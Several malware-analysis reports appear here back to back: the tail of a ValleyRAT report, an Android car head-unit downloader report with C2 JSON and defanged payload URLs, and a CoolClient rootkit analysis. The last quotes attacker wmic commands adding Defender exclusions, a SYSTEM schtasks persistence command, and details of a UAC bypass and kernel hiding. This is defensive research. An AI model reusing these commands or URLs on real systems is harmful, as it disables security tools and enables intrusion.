Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

The DownloadPeFile function is responsible for downloading a PE file

The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

Implementation of the process hollowing technique

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Calling DllMain after the backdoor loads the PE file

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

Cybercriminals used to hacking home routers and security cameras have found another Internet-connected device to add to their botnets: your car, according to research published by Kaspersky Lab.

The post Malware Takes the Wheel: Kaspersky Finds First Car Head Unit-Specific Attack appeared first on The Security Ledger with Paul F. Roberts.

While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.

Key findings:

• We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
• The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
• We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.

Kaspersky solutions detect the threats described below under the following detection names:

• HEUR:Trojan-Dropper.AndroidOS.Agent.vu
• HEUR:Trojan-Downloader.AndroidOS.Agent.ov
• HEUR:Trojan-Proxy.AndroidOS.Zhima.*
• HEUR:Trojan.AndroidOS.Vo1d.*

Head unit firmware overview

A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.

In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.

Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.

It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.

During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.

Below is the entire infection chain:

Head unit infection scheme

Let’s look at exactly how these head units became infected.

The TWCore app

TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.

The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.

TWCore only checks whether an app is already installed on the device when installNotExists = false

The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.

The path TWCore uses to download APK files

Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.

Next, we’ll break down the malware installed by TWCore: the JarService dropper.

Stage 1: the JarService dropper

As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.

Decrypting and deserializing information about the stage 2 payload

In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.

Stage 2: the loader

This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:

{
    "userId": "REDACTED",
    "dexVersion": "1.7",
    "dexType": 1,
    "channelId": "2039",
    "packageName": "com.tw.jar1",
    "appVersion": 12,
    "appName": "JarService"
}

In response to the POST request, the C2 server returns a link for downloading the stage 3 payload. An example of a C2 response is shown below.

{
    "code": 200,
    "data": {
        "dexUrl": "hxxp://144.217.243[.]201/vr34der34/dex3.68.png",
        "dexVersion": 3.680,
        "status": 0
    }
}

The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.

Decrypting the stage 3 payload

In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.

Entry point of the stage 3 payload

While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.

Stage 3: clicker / reverse proxy loader

In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.

{
    "code": 100,
    "data": {
        "configVersion": 3.820,
        "hosts": ["hxxp://t2.kshahnd[.]sbs", "hxxp://t2.mdsjhd[.]sbs", "hxxp://t2.nmnsny[.]sbs", "hxxps://t2.nmnsny[.]sbs"],
        "interval": 5500000,
        "reportApi": "/cpc/api/report",
        "tagName": "config",
        "taskApi": "/cpc/api/task",
        "updates": ["hxxp://a2.kshahnd[.]sbs", "hxxp://a2.mdsjhd[.]sbs", "hxxp://a2.nmnsny[.]sbs", "hxxps://a2.nmnsny[.]sbs"],
        "vn": 1.010
    }
}

If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.

{
    "code": 200,
    "data": [{
        "productId": 979,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"107.151.248[.]132\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 1337\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1778650942
    }, {
        "productId": 1019,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"128.14.210[.]58\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 9999\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1766001509
    }, {
        "productId": 3505,
        "script": "{\n\"tagName\":\"http\",\n\"url\":\"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}\"\n}",
        "version": 1776656317
    }],
    "msg": ""
}

The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.

List of executable commands

At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.

However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.

While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.

Attribution

While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.

While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.

The malware operator registration page

During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.

On the registration page hosted at admin.uipoxy[.]com, we also found the string copyright © 2020 proxyforu[.]com all rights reserved, which linked to hxxps://proxyforu[.]com, the website of ProxyForU, another vendor of residential proxy services.

We found several similarities in the authentication APIs across all of these sites:

• The sign-in page was hosted on an admin.* subdomain.
• The sign-in page was located at /proxy/u/login.
• The signup page was located at /proxy/register?channelKey=<invitation code>.

Based on this, we believe these services are connected to MoYu Group.

Conclusion

Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.

Indicators of compromise

Stage 1: JarService

ba27951b4ee1c341f4415d033369ecd3
d63bacd6d6709dd68a10ef9d374c7835
6c2e34b30da42085240ede53ab6107d4
8b5e513144a6138a966ea59e68bf9da2
e119845877089d6f4b0a70dc7388f316

Stage 2: loader

e9f3a0dab6949ce2cddab9e0aa80ae1a

Stage 3: loader/clicker

0fbaa7092204f4b1494e0b840b014774
1dcf031c40ce456b6a36a00b0acf3d11
44b6b213a6a3f299eaf88e078de95ecb
67dc78e544ebce16b85dc7c195dfbc58
9642ae619b3165d23c6349002d1abe24
b067d5b0dbecbd6498bcdfba45dba77e
f0e3f7eba2cde91e2dedb921bab47422

zhima module

412e9243f2981bbea3894254d105b3b8
71ab5517f71866279d0d87d37f2ae320
89ef78f716a75964539f2db6520be362
a4223ce4288a230d1e6c3ff2c7639045
bd4d81cd27125ad3d9a114922d468499
c6bfb1643ac7474ed8a7b4f96a187fdb
de77c3303e93c9450424759f1741441c
f8cf8c23ff597700d471fb7767df8bac

Domains and IP addresses

xmsae[.]sbs
ishano456[.]sbs
xshaon123[.]sbs
kshahnd[.]sbs
mdsjhd[.]sbs
nmnsny[.]sbs
kookjar[.]com
ty54fgd435[.]my
ue886578433[.]online
ty4523[.]space
144.217.243[.]201
107.151.248[.]132
128.14.210[.]58

Addresses used to download JarService

hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2026-06-08/bd80bd3c3d0e4bf6b5b4a825650d01f5.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2025-06-10/fe71af9ecf174de48d2b2ccc2c15fb04.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2024-11-07/fa831c3c23824b99871163387bcda7ad.apk

Hashes of TWCore (the legitimate software used to distribute JarService)

2a64c3efc11bf224aa54f24e876446c9
7a4d3ba2dacccfdda55859a5dfee2671
ea24487996eb70c1780922fb3063bcc5

Introduction

CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.

Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.

In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.

We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.

Technical analysis

In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).

wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender"
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"

The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.

xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f

Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.

schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F

When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.

CoolClient components

Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.

Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.

Overview of the new variant of CoolClient

First stage: libngs.dll

Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.

To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.

Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess

The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.

The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.

Second stage: loadcert.ini (before synchost.exe injection)

The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.

If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.

If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).

Command handler

The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.

Execution is controlled through three command-line parameters:

If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.

Establishing AutoRun persistence

When executed with the install parameter, CoolClient creates an AutoRun entry under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.

Process injection into synchost.exe

Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.

The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.

From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).

Service installation

When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.

Function to check for running 360 Total Security software processes

If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.

The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.

Administrator privilege check

If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.

When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.

Elevated relaunch and UAC bypass

To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.

The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.

Authenticated RPC binding used during the RPC-based UAC bypass

After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.

Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.

Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.

Second stage: loadcert.ini (Injected Execution)

After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.

Kernel-Mode driver deployment

The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.

If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:

C:\Program Files\Microsoft\Windows Defender\msagent.sys

Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.

Driver initialization

After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.

The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.

The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.

Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.

As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.

The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.

Cert.ini process injection

Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.

After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.

This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.

Msagent.sys driver

Analysis of the deployed kernel-mode driver reveals an embedded PDB path:

PDB Path

E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb

The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.

We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.

Driver configuration

During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.

Registry configuration loaded by the driver during initialization

Two REG_DWORD values control the driver’s operating mode:

In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.

Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.

These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.

Preparation for process hiding

Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.

The driver validates candidate ActiveProcessLinks layouts before enabling process hiding

Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.

Process, object, and image load callbacks

After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.

These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:

• Object callbacks using ObRegisterCallbacks
• Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
• Image load callbacks using PsSetLoadImageNotifyRoutine

Registration of object, process, and image load callbacks during driver initialization

After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.

Object callbacks

To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.

Process and image load callbacks

The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.

When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.

The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.

To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.

MiniFilter registration

To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.

Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds

The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.

Registry callback registration

To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.

Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000

Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.

Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.

IOCTL command dispatcher

To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.

The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:

• 0x222120: registers the current CoolClient process with the driver.
• 0x2221E0: passes the configured C2 IPv4 address.
• 0x2220F0: registers filesystem and registry paths for protection.

The remaining IOCTL handlers were not invoked by the analyzed sample.

After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.

Kernel module enumeration and hiding

To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.

Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding

